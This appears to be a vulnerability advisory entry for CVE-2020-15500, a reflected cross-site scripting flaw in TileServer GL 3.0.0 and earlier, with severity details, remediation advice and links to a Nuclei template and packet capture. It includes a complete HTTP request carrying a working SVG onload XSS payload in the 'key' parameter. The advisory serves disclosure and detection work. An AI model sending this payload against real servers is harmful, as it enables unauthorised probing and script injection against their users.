| Title | TileServer GL <=3.0.0 - Cross-Site Scripting |
|---|---|
| Author | Akash.C |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement. |
| Remediation | Upgrade TileServer GL to a version higher than 3.0.0 or apply the vendor-provided patch to fix the XSS vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.19227 |
| CVE ID | CVE-2020-15500 |
| CWE ID | CWE-79 |
| Tags | cve cve2020 xss tileserver packetstorm vuln |
TileServer GL through 3.0.0 is vulnerable to reflected cross-site scripting via server.js because the content of the key GET parameter is reflected unsanitized in an HTTP response for the application’s main page.
GET /?key=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss%27%29%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-15500.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-15500.pcap
N/AN/A